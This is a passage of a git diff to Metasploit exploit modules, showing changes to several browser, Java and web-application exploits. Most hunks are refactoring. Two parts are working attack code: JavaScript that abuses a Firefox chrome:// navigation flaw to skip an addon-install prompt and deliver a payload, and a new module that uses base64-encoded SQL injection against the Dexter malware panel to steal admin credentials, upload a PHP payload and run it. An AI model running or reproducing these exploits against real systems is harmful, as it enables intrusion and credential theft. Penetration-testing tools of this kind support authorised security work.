@@ -20,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'Description'   => %q{
           This exploit dynamically creates a .xpi addon file.
         The resulting bootstrapped Firefox addon is presented to
-        the victim via a web page with.  The victim's Firefox browser
+        the victim via a web page. The victim's Firefox browser
         will pop a dialog asking if they trust the addon.
 
         Once the user clicks "install", the addon is installed and
@@ -29,52 +28,86 @@ class Metasploit3 < Msf::Exploit::Remote
         be "bootstrapped". As the addon will execute the payload after
         each Firefox restart, an option can be given to automatically
         uninstall the addon once the payload has been executed.
+
+        On Firefox 22.0 - 27.0, CVE-2014-1510 allows us to skip the
+        first half of the permissions prompt.
       },
       'License'       => MSF_LICENSE,
-      'Author'        => [ 'mihi' ],
+      'Author'        => [ 'mihi', 'joev' ],
       'References'    =>
         [
           [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
-          [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
+          [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ],
+          [ 'CVE', '2014-1510' ], # webidl chrome:// navigation to skip first half of prompt
+          [ 'CVE', '2014-1511' ]
         ],
       'DisclosureDate' => 'Jun 27 2007'
     ))
   end
 
-  def on_request_uri( cli, request )
-    if not request.uri.match(/\.xpi$/i)
-      if not request.uri.match(/\/$/)
-        send_redirect( cli, get_resource() + '/', '')
-        return
+  def on_request_uri(cli, request)
+    if request.uri.match(/\.xpi$/i)
+      # browser has navigated to the .xpi file
+      print_status("Sending xpi and waiting for user to click 'accept'...")
+      if not xpi = generate_addon_xpi(cli)
+        print_error("Failed to generate the payload.")
+        send_not_found(cli)
+      else
+        send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
+      end
+    else
+      # initial browser request
+      # force the user to access a directory-like URL
+      if not request.uri.match(/\/$/)
+        print_status("Redirecting request." )
+        send_redirect(cli, "#{get_resource}/")
+      else
+        # user has navigated
+        print_status("Sending response HTML." )
+        send_response_html(cli, generate_html)
       end
-
-      print_status("Handling request..." )
-
-      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
-      return
     end
 
-    # If we haven't returned yet, then this is a request for our xpi,
-    # so build one
-    p = regenerate_payload(cli)
-    if not p
-      print_error("Failed to generate the payload.")
-      # Send them a 404 so the browser doesn't hang waiting for data
-      # that will never come.
-      send_not_found(cli)
-      return
-    end
-
-    print_status("Sending xpi and waiting for user to click 'accept'...")
-    send_response( cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' } )
-    handler( cli )
+    handler(cli)
   end
 
   def generate_html
-    html  = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
-    html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
-    html << %Q|<script>window.location.href="addon.xpi";</script>\n|
-    html << %Q|</body></html>|
-    return html
+    %Q|
+      <html><head><title>Loading, Please Wait...</title></head>
+        <body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>
+        <div style='visibility:hidden;width:1px;height:1px;'>
+          <iframe name='f'></iframe>
+        </div>
+        <script>
+          function install() {
+            window.location.href="addon.xpi";
+          }
+          #{web_idl_navigation}
+        </script>
+        </body>
+      </html>
+    |
+  end
+
+  # In firefox 21 - 27, there is a vulnerability that allows navigation to a chrome:// URL.
+  # From there you can load the browser XUL, and inject a data URL into a nested frame.
+  # If the data URL opens the .xpi URL, the first permission prompt gets skipped.
+  def web_idl_navigation
+    %Q|
+      try {
+        c = new mozRTCPeerConnection;
+        c.createOffer(function(){},function(){window.rr=window.open('chrome://browser/content/browser.xul', 'f')});
+        setTimeout(function(){
+          try {
+            frames[0].frames[1].location="data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
+                                  "{},function(){window.open('#{get_uri.chomp('/')}/addon.xpi', '_self');});<\\/script>";
+          } catch(e) {
+            install();
+          }
+        },600);
+      } catch(e) {
+        install();
+      }
+    |
   end
 end
diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb
index f9964b533d..2c166feb34 100644
--- a/modules/exploits/multi/browser/java_atomicreferencearray.rb
+++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb
@@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
           vprint_status("Sending java reverse shell")
         else
           port = datastore['LPORT']
-          datastore['RHOST'] = cli.peerhost
+          host = cli.peerhost
           vprint_status( "Java bind shell" )
         end
         if jar
diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb
index fccc4c5086..8ae57ea1da 100644
--- a/modules/exploits/multi/browser/java_calendar_deserialize.rb
+++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb
@@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
           print_status("Payload will be a Java reverse shell")
         else
           port = datastore['LPORT']
-          datastore['RHOST'] = cli.peerhost
+          host = cli.peerhost
           print_status("Payload will be a Java bind shell")
         end
         if jar
diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb
index e64b19a2af..19459a4b2c 100644
--- a/modules/exploits/multi/browser/java_signed_applet.rb
+++ b/modules/exploits/multi/browser/java_signed_applet.rb
@@ -134,11 +134,11 @@ class Metasploit3 < Msf::Exploit::Remote
 
     # If we haven't returned yet, then this is a request for our applet
     # jar, build one for this victim.
-    jar = p.encoded_jar
+    jar = p.encoded_jar(:random => true)
 
     jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)
 
-    jar.build_manifest(:main_class => "metasploit.Payload")
+    jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}")
 
     jar.sign(@key, @cert, @ca_certs)
     #File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb
index e0c99d4975..84fa7a5463 100644
--- a/modules/exploits/multi/browser/java_verifier_field_access.rb
+++ b/modules/exploits/multi/browser/java_verifier_field_access.rb
@@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
           vprint_status("Sending java reverse shell")
         else
           port = datastore['LPORT']
-          datastore['RHOST'] = cli.peerhost
+          host = cli.peerhost
           vprint_status( "Java bind shell" )
         end
         if jar
diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb
index 71d595d55d..cf49018f3d 100644
--- a/modules/exploits/multi/browser/mozilla_compareto.rb
+++ b/modules/exploits/multi/browser/mozilla_compareto.rb
@@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
+      'Name'           => 'Mozilla Suite/Firefox compareTo() Code Execution',
       'Description'    => %q{
           This module exploits a code execution vulnerability in the Mozilla
         Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
diff --git a/modules/exploits/multi/fileformat/peazip_command_injection.rb b/modules/exploits/multi/fileformat/peazip_command_injection.rb
index 364a79eb13..e86ddd7662 100644
--- a/modules/exploits/multi/fileformat/peazip_command_injection.rb
+++ b/modules/exploits/multi/fileformat/peazip_command_injection.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'PeaZip <= 2.6.1 Zip Processing Command Injection',
+      'Name'           => 'PeaZip Zip Processing Command Injection',
       'Description'    => %q{
           This module exploits a command injection vulnerability in PeaZip. All
         versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
index e37e619ff1..1ede0f8401 100644
--- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
+++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
@@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote
     ret = connect_login
 
     # We just want the banner to check against our targets..
-    print_status("FTP Banner: #{banner.strip}")
+    vprint_status("FTP Banner: #{banner.strip}")
     status = Exploit::CheckCode::Safe
     if banner =~ /Version wu-2\.(4|5)/
       status = Exploit::CheckCode::Appears
diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb
index 4479a5a824..d926fafdce 100644
--- a/modules/exploits/multi/http/activecollab_chat.rb
+++ b/modules/exploits/multi/http/activecollab_chat.rb
@@ -12,11 +12,12 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
+      'Name'           => 'Active Collab "chat module" Remote PHP Code Injection Exploit',
       'Description'    => %q{
-        This module exploits an arbitrary code injection vulnerability in the chat module
-        that is part of Active Collab by abusing a preg_replace() using the /e modifier and
-        its replacement string using double quotes. The vulnerable function can be found in
+        This module exploits an arbitrary code injection vulnerability in the
+        chat module that is part of Active Collab versions 2.3.8 and earlier by
+        abusing a preg_replace() using the /e modifier and its replacement
+        string using double quotes. The vulnerable function can be found in
         activecollab/application/modules/chat/functions/html_to_text.php.
       },
       'License'        => MSF_LICENSE,
@@ -68,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
     if (cms and cms.body =~ /powered by activeCollab/)
       # detect the chat module
       if (chat and chat.code == 200)
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Detected
       end
     end
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb
index 17e624a4f4..8c4c848762 100644
--- a/modules/exploits/multi/http/apprain_upload_exec.rb
+++ b/modules/exploits/multi/http/apprain_upload_exec.rb
@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body.empty?
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb
index 8fd8f46545..4d0ffa5679 100644
--- a/modules/exploits/multi/http/auxilium_upload_exec.rb
+++ b/modules/exploits/multi/http/auxilium_upload_exec.rb
@@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
     })
     if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Detected
     else
       return Exploit::CheckCode::Safe
     end
@@ -76,7 +76,6 @@ class Metasploit3 < Msf::Exploit::Remote
     data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")
 
     post_data = data.to_s
-    post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
     print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
     res = send_request_cgi({
diff --git a/modules/exploits/multi/http/cisco_dcnm_upload.rb b/modules/exploits/multi/http/cisco_dcnm_upload.rb
index 38ad1d8c45..c68da26ec9 100644
--- a/modules/exploits/multi/http/cisco_dcnm_upload.rb
+++ b/modules/exploits/multi/http/cisco_dcnm_upload.rb
@@ -88,6 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     unless res
+      vprint_error("Connection timed out")
       return Exploit::CheckCode::Unknown
     end
 
@@ -95,19 +96,18 @@ class Metasploit3 < Msf::Exploit::Remote
         res.body.to_s =~ /Data Center Network Manager/ and
         res.body.to_s =~ /<div class="productVersion">Version: (.*)<\/div>/
       version = $1
-      print_status("Cisco Primer Data Center Network Manager version #{version} found")
-    elsif res.code == 200 and
-        res.body.to_s =~ /Data Center Network Manager/
+      vprint_status("Cisco Primer Data Center Network Manager version #{version} found")
+      if version =~ /6\.1/
+        return Exploit::CheckCode::Appears
+      else
+        return Exploit::CheckCode::Detected
+      end
+
+    elsif res.code == 200 and res.body.to_s =~ /Data Center Network Manager/
       return Exploit::CheckCode::Detected
-    else
-      return Exploit::CheckCode::Safe
     end
 
-    if version =~ /6\.1/
-      return Exploit::CheckCode::Vulnerable
-    end
-
-    return Exploit::CheckCode::Safe
+    Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/multi/http/coldfusion_rds.rb b/modules/exploits/multi/http/coldfusion_rds.rb
index f4fe327e7b..c9f935683a 100644
--- a/modules/exploits/multi/http/coldfusion_rds.rb
+++ b/modules/exploits/multi/http/coldfusion_rds.rb
@@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/
-       print_good "#{peer} - Administrator access available"
+       vprint_good "#{peer} - Administrator access available"
     else
       return Exploit::CheckCode::Safe
     end
@@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
     imghash = "596b3fc4f1a0b818979db1cf94a82220"
 
     if img == imghash
-      print_good "#{peer} - ColdFusion 9 Detected"
+      vprint_good "#{peer} - ColdFusion 9 Detected"
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb
index c1003f7717..dd1474d71b 100644
--- a/modules/exploits/multi/http/cuteflow_upload_exec.rb
+++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
       return Exploit::CheckCode::Detected
     else
diff --git a/modules/exploits/multi/http/dexter_casinoloader_exec.rb b/modules/exploits/multi/http/dexter_casinoloader_exec.rb
new file mode 100644
index 0000000000..9e4e795987
--- /dev/null
+++ b/modules/exploits/multi/http/dexter_casinoloader_exec.rb
@@ -0,0 +1,170 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Dexter (CasinoLoader) SQL Injection",
+      'Description'    => %q{
+          This module exploits a vulnerability found in the command and control panel
+        used to control Dexter (Point of Sale malware).  This is done by accessing the
+        PHP page used by bots to report in (gateway.php) which does not sanitize input.
+        Input is encrypted and encoded, but the key is supplied by the bot connecting.
+        The 'page' parameter is used in this case.  The command and control panel designates
+        a location to upload files, and can be used as a reliable location to write a
+        PHP shell.  Authentication is not needed to exploit this vulnerability.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'bwall (Brian Wallace) <bwallace[at]cylance.com>'
+        ],
+      'References'     =>
+        [
+          [
+            "URL", "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"
+          ]
+        ],
+      'Payload'        =>
+        {
+          'BadChars' => "\x00"
+        },
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Targets'        =>
+        [
+          ['CasinoLoader gateway.php', {}]
+        ],
+      'Privileged'     => false,
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => "Feb 08 2014"
+    ))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [true, 'The path to the CasinoLoader root folder', '/']),
+          OptString.new('TARGETGATEWAY', [true, 'Name of bot gateway page', 'gateway.php']),
+          OptString.new('TARGETLOGIN', [true, 'Name of panel login page', 'index.php']),
+          OptString.new('TARGETUPLOAD', [true, 'Name of panel upload page', 'upload.php']),
+          OptString.new('TARGETDATABASEUSERTABLE', [true, 'Table in database that holds admin data', 'users'])
+        ], self.class)
+  end
+
+  def gateway
+    return normalize_uri(target_uri.path, datastore['TARGETGATEWAY'])
+  end
+
+  def login
+    return normalize_uri(target_uri.path, datastore['TARGETLOGIN'])
+  end
+
+  def upload
+    return normalize_uri(target_uri.path, datastore['TARGETUPLOAD'])
+  end
+
+  def database_get_field(table, column, row)
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'=>gateway,
+      'vars_post' => {
+        'val' => 'AA==',
+        'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row.to_s + " -- --")
+      }
+    })
+    if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=')
+      return Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1]))[1..-3]
+    end
+    return false
+  end
+
+  def check
+    testvalue = rand_text_alpha(9)
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'=>gateway,
+      'vars_post' => {
+        'val' => 'AA==',
+        'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1,'" + testvalue + "',3 -- --")
+      }
+    })
+
+    if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') and
+      Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false
+      return Exploit::CheckCode::Vulnerable
+    end
+    return Exploit::CheckCode::Safe
+  end
+
+
+  def exploit
+    payload_name = rand_text_alpha(rand(10) + 5) + '.php'
+
+    print_status("#{peer} - Using SQL injection to acquire credentials")
+    user = database_get_field('users', 'name', 0)
+    if user == false
+      print_error("#{peer} - Failed to acquire administrator username")
+      return
+    end
+
+    password = database_get_field('users', 'password', 0)
+    if password == false
+      print_error("#{peer} - Failed to acquire administrator password")
+    end
+
+    print_status("#{peer} - Using #{user}:#{password}")
+
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'=>login,
+      'vars_post' => {
+        'submit' => '1',
+        'username' => user,
+        'password' => password
+      }
+    })
+
+    login_cookie = ""
+
+    if res and res.headers.has_key?('Location')
+      login_cookie = res.get_cookies
+      print_status("#{peer} - Login successful")
+    else
+      print_error("#{peer} - Failed to log in")
+      return
+    end
+
+    data = Rex::MIME::Message.new
+    data.add_part("MAX_FILE_SIZE", nil, nil, 'form-data; name="MAX_FILE_SIZE"')
+    data.add_part("<?php #{payload.encoded} ?>", nil, nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload_name}\"")
+    post_data = data.to_s
+
+    print_status("#{peer} - Sending PHP payload (#{payload_name})")
+    res = send_request_cgi({
+        'method' => 'POST',
+        'uri'    => upload,
+        'ctype'  => "multipart/form-data; boundary=#{data.bound}",
+        'cookie' => login_cookie,
+        'data'   => post_data
+    })
+
+    if res and res.code == 200 and res.body =~ /a href="upload.php\?del=(.*)">/
+      path = $1
+      path = path.sub! "\\", "/"
+      target_path = normalize_uri(target_uri.path, path)
+      print_status("#{peer} - Requesting: #{target_path}")
+      send_request_raw({'uri' => normalize_uri(target_path)})
+      handler
+    else
+      print_error("#{peer} - Failed to upload file")
+      return
+    end
+  end
+end
\ No newline at end of file
diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb
index ca37ae8fc1..c8646fe686 100644
--- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb
+++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb
@@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = execute_php_code("phpinfo();die();")
 
     if not res or res.code != 200
-      print_error("Failed: Error requesting page")
+      vprint_error("Failed: Error requesting page")
       return CheckCode::Unknown
     end
 
diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb
index 979bcf7497..d91b8c64d7 100644
--- a/modules/exploits/multi/http/extplorer_upload_exec.rb
+++ b/modules/exploits/multi/http/extplorer_upload_exec.rb
@@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
       end
 
       if res.body =~ /<version>2\.1\.(0RC\d|0|1|2)<\/version>/
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       end
 
       if res.body =~ /eXtplorer/
@@ -79,9 +79,10 @@ class Metasploit3 < Msf::Exploit::Remote
       end
 
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
     end
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
 
   end
 
@@ -106,7 +107,6 @@ class Metasploit3 < Msf::Exploit::Remote
     data.add_part("true", nil, nil, "form-data; name=\"confirm\"")
 
     data_post = data.to_s
-    data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
     res = send_request_cgi({
       'method'  => 'POST',
diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb
index 5a1dc2b17b..7115369187 100644
--- a/modules/exploits/multi/http/glassfish_deployer.rb
+++ b/modules/exploits/multi/http/glassfish_deployer.rb
@@ -364,7 +364,16 @@ class Metasploit3 < Msf::Exploit::Remote
   #
   # Return POST data and data length, based on GlassFish edition
   #
-  def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')
+  def get_upload_data(opts = {})
+    boundary = opts[:boundary]
+    version = opts[:version]
+    war = opts[:war]
+    app_base = opts[:app_base]
+    typefield = opts[:typefield]
+    status_checkbox = opts[:status_checkbox]
+    start = opts[:start]
+    viewstate = opts[:viewstate]
+
     data = ''
 
     if version == '3.0'
@@ -501,7 +510,14 @@ class Metasploit3 < Msf::Exploit::Remote
   # Upload our payload, and execute it.  This function will also try to automatically
   # clean up after itself.
   #
-  def upload_exec(session, app_base, jsp_name, target, war, edition, version)
+  def upload_exec(opts = {})
+    session = opts[:session]
+    app_base = opts[:app_base]
+    jsp_name = opts[:jsp_name]
+    war = opts[:war]
+    edition = opts[:edition]
+    version = opts[:version]
+
     if version == '2.x' or version == '9.x'
       path = "/applications/upload.jsf?appType=webApp"
       res = send_request(path, @verbs['GET'], session)
@@ -553,7 +569,16 @@ class Metasploit3 < Msf::Exploit::Remote
       ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
     end
 
-    post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)
+    post_data = get_upload_data({
+      :boundary => boundary,
+      :version => version,
+      :war => war,
+      :app_base => app_base,
+      :typefield => typefield,
+      :status_checkbox => status_checkbox,
+      :start => start,
+      :viewstate => viewstate
+    })
 
     #Upload our payload
     if version == '2.x' or version == '9.x'
@@ -816,7 +841,14 @@ class Metasploit3 < Msf::Exploit::Remote
 
       #Upload, execute, cleanup, winning
       print_status("Uploading payload...")
-      res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)
+      res = upload_exec({
+        :session => session,
+        :app_base => app_base,
+        :jsp_name => jsp_name,
+        :war => war,
+        :edition => edition,
+        :version => version
+      })
     else
       print_error("#{my_target_host()} - GlassFish - Failed to authenticate login")
     end
diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb
index c224aac3f1..56c54d1008 100644
--- a/modules/exploits/multi/http/glossword_upload_exec.rb
+++ b/modules/exploits/multi/http/glossword_upload_exec.rb
@@ -59,18 +59,18 @@ class Metasploit3 < Msf::Exploit::Remote
       res = login(base, user, pass)
       if res
         if res.code == 200
-          print_error("#{peer} - Authentication failed")
+          vprint_error("#{peer} - Authentication failed")
           return Exploit::CheckCode::Unknown
         elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
-          print_good("#{peer} - Authenticated successfully")
+          vprint_good("#{peer} - Authenticated successfully")
           return Exploit::CheckCode::Appears
         end
       end
-      return Exploit::CheckCode::Safe
+
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
     end
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
 
   end
 
@@ -98,7 +98,6 @@ class Metasploit3 < Msf::Exploit::Remote
     data.add_part("#{pass}",  nil, nil, 'form-data; name="arPost[pass_confirm]"')
 
     data_post = data.to_s
-    data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
     res = send_request_cgi({
       'method'  => 'POST',
diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb
index 5675201e41..93d2f48df8 100644
--- a/modules/exploits/multi/http/glpi_install_rce.rb
+++ b/modules/exploits/multi/http/glpi_install_rce.rb
@@ -69,10 +69,10 @@ class Metasploit3 < Msf::Exploit::Remote
     m = Regexp.new(re, Regexp::IGNORECASE)
     matched = m.match(res.body)
     if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/
-      print_good("Detected Version : #{matched[3]}")
+      vprint_good("Detected Version : #{matched[3]}")
       return Exploit::CheckCode::Appears
     elsif matched
-      print_error("Version #{matched[3]} is not vulnerable")
+      vprint_error("Version #{matched[3]} is not vulnerable")
     end
     return Exploit::CheckCode::Safe
 
diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb
index 3fee6ed245..581fbce608 100644
--- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb
+++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb
@@ -77,12 +77,12 @@ class Metasploit3 < Msf::Exploit::Remote
 
     res = send_command(cmd)
     if not res
-      print_error("#{peer} - Connection timed out")
+      vprint_error("#{peer} - Connection timed out")
       return Exploit::CheckCode::Unknown
     end
 
     if res.code == 200 && res.body =~ /#{sig}/
-      print_good("#{peer} - Running with user '#{res.body.split(sig)[1].strip}'")
+      vprint_good("#{peer} - Running with user '#{res.body.split(sig)[1].strip}'")
       return Exploit::CheckCode::Vulnerable
     end
 
diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb
index dbca321677..19c9a442ed 100644
--- a/modules/exploits/multi/http/hyperic_hq_script_console.rb
+++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb
@@ -105,20 +105,20 @@ class Metasploit3 < Msf::Exploit::Remote
     pass = datastore['PASSWORD']
 
     # login
-    print_status("#{peer} - Authenticating as '#{user}'")
+    vprint_status("#{peer} - Authenticating as '#{user}'")
     res  = login(user, pass)
     if res and res.code == 302 and res.headers['location'] !~ /authfailed/
-      print_good("#{peer} - Authenticated successfully as '#{user}'")
+      vprint_good("#{peer} - Authenticated successfully as '#{user}'")
       # check access to the console
-      print_status("#{peer} - Checking access to the script console")
+      vprint_status("#{peer} - Checking access to the script console")
       get_nonce
       if @nonce.nil?
         return Exploit::CheckCode::Detected
       else
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       end
     elsif res.headers.include?('X-Jenkins') or res.headers['location'] =~ /authfailed/
-      print_error("#{peer} - Authentication failed")
+      vprint_error("#{peer} - Authentication failed")
       return Exploit::CheckCode::Detected
     else
       return Exploit::CheckCode::Safe
diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb
index 8c81bbf63d..12fbbbda2f 100644
--- a/modules/exploits/multi/http/ispconfig_php_exec.rb
+++ b/modules/exploits/multi/http/ispconfig_php_exec.rb
@@ -52,9 +52,6 @@ class Metasploit4 < Msf::Exploit::Remote
       ], self.class)
   end
 
-  def check
-  end
-
   def lng
     datastore['LANGUAGE']
   end
diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb
index b94d8b0688..a9cf6273fc 100644
--- a/modules/exploits/multi/http/jboss_invoke_deploy.rb
+++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb
@@ -89,18 +89,21 @@ class Metasploit4 < Msf::Exploit::Remote
 
   def check
     res = send_serialized_request('version.bin')
-    if (res.nil?) or (res.code != 200)
-      print_error("Unable to request version, returned http code is: #{res.code.to_s}")
+    if res.nil?
+      vprint_error("Connection timed out")
+      return Exploit::CheckCode::Unknown
+    elsif res.code != 200
+      vprint_error("Unable to request version, returned http code is: #{res.code.to_s}")
       return Exploit::CheckCode::Unknown
     end
 
     # Check if the version is supported by this exploit
-    return Exploit::CheckCode::Vulnerable if res.body =~ /CVSTag=Branch_4_/
-    return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_4_/
-    return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_5_/
+    return Exploit::CheckCode::Appears if res.body =~ /CVSTag=Branch_4_/
+    return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/
+    return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/
 
     if res.body =~ /ServletException/	# Simple check, if we caused an exception.
-      print_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
+      vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
       return Exploit::CheckCode::Appears
     end
 
